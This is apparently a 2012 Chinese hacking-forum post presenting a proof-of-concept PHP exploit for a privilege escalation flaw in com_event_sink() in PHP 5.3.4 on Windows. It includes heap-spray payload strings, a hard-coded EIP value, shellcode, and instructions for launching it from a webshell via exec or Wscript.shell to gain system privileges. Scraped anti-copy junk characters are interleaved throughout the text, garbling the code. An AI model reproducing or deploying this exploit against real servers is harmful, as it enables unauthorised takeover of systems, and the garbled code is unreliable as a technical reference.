找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2508|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
3 j0 w, u/ S" X6 M2 S4 H
9 m+ z* J. O' P8 K, G测试方法如下:cmd /c x:\php\php.exe x:\test.php5 [$ m9 E; N% F9 x% Z5 R7 L8 @
( `  y2 T- J5 \, v, p1 h
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php( v; c5 @7 Q7 t4 ~: F7 r: }" i
这里是两个测试的截图:
' c$ {8 H4 n5 O8 `! G* s, P7 w0 K8 j. k
1 Y- i  v2 ^5 t5 w" z* i( e+ a; T
) N  @2 G. c: w

6 W) m& S& }4 E; k6 S- L3 b
) C+ R$ J0 E: [7 V& }/ l成功利用此漏洞的攻击者将获得系统的最高权限
# {2 [! [0 ]  |
, R6 M- b3 ^: ]# O% I1 ~( B
* q' k. J% _& a. w4 R
( y, S. j6 a# A4 {
% P. q! I6 `* E6 g* P
! ]8 R. u4 F4 e! e& D( E* w关于漏洞分析稍后附上。一下是PoC代码:' u  n" T* P) _2 B, {. K

$ ^. `5 l2 F+ Z( Q<?php
3 J3 m2 W( {2 ~8 u//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞6 m  f( e2 o4 g" D" O/ B& W
//$eip ="\x44\x43\x42\x41";5 w0 v0 p) g5 C& h
$eip= "\x4b\xe8\x57\x78";
3 X  y* _) z3 o+ R$eax ="\x80\x01\x8d\x04";  s, u( w6 H/ E" x
$deodrant="";$ b2 F$ C) N5 ^9 G& e5 F; u3 [
$axespray = str_repeat($eip.$eax,0x80);
" s2 L  x% |2 a$ Y, C- t) o, w//048d0190
) x' f% B: q, z, J& H9 becho strlen($axespray);" z5 ~. O3 k( r: b& G- [% p& w
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
5 K: v2 K* q# Mecho "Silic Group Hacker Army - BlackBap.Org";
% z( g) d- D  s0 d//19200 ==4B32 4b009 v! o/ v  U: {9 f
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
* u$ D& c, Q0 \" j8 L: H2 e1 @$terminate = "T";5 b$ s' j( [, _# R" }8 N4 e
$u[] =$deodrant;
$ o4 Q6 d  L0 J+ O! @$ }$r[] =$deodrant.$terminate;) f/ C( S9 M; E( z
$a[] =$deodrant.$terminate;
$ Q( M, S/ ?, X; p$s[] =$deodrant.$terminate;
8 B" e/ ^+ v" {2 M& N4 @: A//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
1 z! g4 j4 P, C$vVar = new VARIANT(0x048d0000+180);( P$ }. X) z$ L
//弹窗代码(Shellcode)" [/ R6 G/ ]( i0 O
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";' B+ J( O9 f- G1 E4 {" v; v
$var2 = new VARIANT(0x41414242);
  L; s6 @% `; a7 Qcom_event_sink($vVar,$var2,$buffer);" ^; |- _$ m3 Q2 v: Z! X
?>3 \4 J* \' G9 y  v! s

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表